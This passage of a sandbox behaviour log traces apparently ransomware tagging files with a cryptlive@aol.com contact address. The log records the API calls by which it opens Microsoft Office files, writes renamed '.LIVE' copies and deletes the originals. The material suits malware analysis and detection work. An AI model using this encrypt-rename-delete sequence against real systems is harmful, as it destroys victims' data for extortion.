(lpString=".pdf") returned 4 [0146.403] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".xls") returned 4 [0146.403] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".xlsx") returned 5 [0146.403] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.403] lstrlenW (lpString=".ppt") returned 4 [0146.403] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".zip") returned 4 [0146.403] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".rar") returned 4 [0146.403] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".bz2") returned 4 [0146.403] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString=".7z") returned 3 [0146.403] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".dbf") returned 4 [0146.403] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.403] lstrlenW (lpString=".1cd") returned 4 [0146.403] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0146.404] lstrlenW (lpString=".jpg") returned 4 [0146.404] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.404] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0146.404] lstrlenW (lpString="VISCOLOR.VSL") returned 12 [0146.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.404] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=43392) returned 1 [0146.404] CloseHandle (hObject=0x384) returned 1 [0146.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 0x20 [0146.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.405] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.405] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0146.405] GetLastError () returned 0x0 [0146.405] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xa980, lpOverlapped=0x0) returned 1 [0146.408] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa990, lpOverlapped=0x0) returned 1 [0146.409] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.409] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.410] SetEndOfFile (hFile=0x36c) returned 1 [0146.410] CloseHandle (hObject=0x36c) returned 1 [0146.410] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.410] SetEndOfFile (hFile=0x384) returned 1 [0146.412] CloseHandle (hObject=0x384) returned 1 [0146.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 1 [0146.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.413] lstrlenW (lpString=".doc") returned 4 [0146.413] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.413] lstrlenW (lpString=".docx") returned 5 [0146.414] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0146.414] lstrlenW (lpString=".pdf") returned 4 [0146.414] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString=".xls") returned 4 [0146.414] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.414] lstrlenW (lpString=".xlsx") returned 5 [0146.414] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0146.414] lstrlenW (lpString=".ppt") returned 4 [0146.414] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString=".zip") returned 4 [0146.414] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.414] lstrlenW (lpString=".rar") returned 4 [0146.414] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString=".bz2") returned 4 [0146.414] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString=".7z") returned 3 [0146.414] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString=".dbf") returned 4 [0146.414] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString=".1cd") returned 4 [0146.414] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString=".jpg") returned 4 [0146.414] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.414] lstrlenW (lpString=".doc") returned 4 [0146.414] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0146.414] lstrlenW (lpString=".docx") returned 5 [0146.414] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0146.414] lstrlenW (lpString=".pdf") returned 4 [0146.414] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString=".xls") returned 4 [0146.415] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0146.415] lstrlenW (lpString=".xlsx") returned 5 [0146.415] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0146.415] lstrlenW (lpString=".ppt") returned 4 [0146.415] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.415] lstrlenW (lpString=".zip") returned 4 [0146.415] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0146.415] lstrlenW (lpString=".rar") returned 4 [0146.415] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString=".bz2") returned 4 [0146.415] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString=".7z") returned 3 [0146.415] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0146.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.415] lstrlenW (lpString=".dbf") returned 4 [0146.415] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.415] lstrlenW (lpString=".1cd") returned 4 [0146.415] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0146.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60 [0146.415] lstrlenW (lpString=".jpg") returned 4 [0146.415] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0146.415] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.415] lstrlenW (lpString="VISINTL.DLL") returned 11 [0146.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.417] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=758648) returned 1 [0146.417] CloseHandle (hObject=0x384) returned 1 [0146.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll")) returned 0x20 [0146.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.417] lstrlenW (lpString=".doc") returned 4 [0146.417] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.417] lstrlenW (lpString=".docx") returned 5 [0146.417] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0146.417] lstrlenW (lpString=".pdf") returned 4 [0146.417] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.417] lstrlenW (lpString=".xls") returned 4 [0146.417] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.417] lstrlenW (lpString=".xlsx") returned 5 [0146.417] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0146.417] lstrlenW (lpString=".ppt") returned 4 [0146.417] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.417] lstrlenW (lpString=".zip") returned 4 [0146.417] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.417] lstrlenW (lpString=".rar") returned 4 [0146.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".bz2") returned 4 [0146.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.418] lstrlenW (lpString=".7z") returned 3 [0146.418] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString=".dbf") returned 4 [0146.418] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString=".1cd") returned 4 [0146.418] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString=".jpg") returned 4 [0146.418] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString=".doc") returned 4 [0146.418] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".docx") returned 5 [0146.418] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0146.418] lstrlenW (lpString=".pdf") returned 4 [0146.418] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".xls") returned 4 [0146.418] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".xlsx") returned 5 [0146.418] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0146.418] lstrlenW (lpString=".ppt") returned 4 [0146.418] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.418] lstrlenW (lpString=".zip") returned 4 [0146.418] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".rar") returned 4 [0146.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.418] lstrlenW (lpString=".bz2") returned 4 [0146.419] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.419] lstrlenW (lpString=".7z") returned 3 [0146.419] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.419] lstrlenW (lpString=".dbf") returned 4 [0146.419] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.419] lstrlenW (lpString=".1cd") returned 4 [0146.419] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0146.419] lstrlenW (lpString=".jpg") returned 4 [0146.419] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.419] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0146.419] lstrlenW (lpString="VISINTL.DLL.IDX_DLL") returned 19 [0146.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.419] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=240000) returned 1 [0146.419] CloseHandle (hObject=0x384) returned 1 [0146.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 0x20 [0146.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.420] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.420] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0146.421] GetLastError () returned 0x0 [0146.421] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x3a980, lpOverlapped=0x0) returned 1 [0146.875] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x3a990, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x3a990, lpOverlapped=0x0) returned 1 [0146.880] ReadFile (in: hFile=0x384, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.880] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0146.880] SetEndOfFile (hFile=0x36c) returned 1 [0146.880] CloseHandle (hObject=0x36c) returned 1 [0146.880] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.880] SetEndOfFile (hFile=0x384) returned 1 [0146.889] CloseHandle (hObject=0x384) returned 1 [0146.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 1 [0146.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".doc") returned 4 [0146.891] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".docx") returned 5 [0146.891] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.891] lstrlenW (lpString=".pdf") returned 4 [0146.891] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".xls") returned 4 [0146.891] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".xlsx") returned 5 [0146.891] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.891] lstrlenW (lpString=".ppt") returned 4 [0146.891] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".zip") returned 4 [0146.891] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".rar") returned 4 [0146.891] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".bz2") returned 4 [0146.891] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".7z") returned 3 [0146.891] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".dbf") returned 4 [0146.891] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".1cd") returned 4 [0146.891] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".jpg") returned 4 [0146.891] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.891] lstrlenW (lpString=".doc") returned 4 [0146.891] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0146.891] lstrlenW (lpString=".docx") returned 5 [0146.892] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0146.892] lstrlenW (lpString=".pdf") returned 4 [0146.892] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString=".xls") returned 4 [0146.892] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString=".xlsx") returned 5 [0146.892] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0146.892] lstrlenW (lpString=".ppt") returned 4 [0146.892] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.892] lstrlenW (lpString=".zip") returned 4 [0146.892] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString=".rar") returned 4 [0146.892] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString=".bz2") returned 4 [0146.892] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString=".7z") returned 3 [0146.892] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.892] lstrlenW (lpString=".dbf") returned 4 [0146.892] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.892] lstrlenW (lpString=".1cd") returned 4 [0146.892] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0146.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0146.892] lstrlenW (lpString=".jpg") returned 4 [0146.892] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0146.892] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.892] lstrlenW (lpString="VISIO_COL.HXT") returned 13 [0146.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.893] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=205) returned 1 [0146.893] CloseHandle (hObject=0x384) returned 1 [0146.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt")) returned 0x20 [0146.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0146.894] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.894] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft 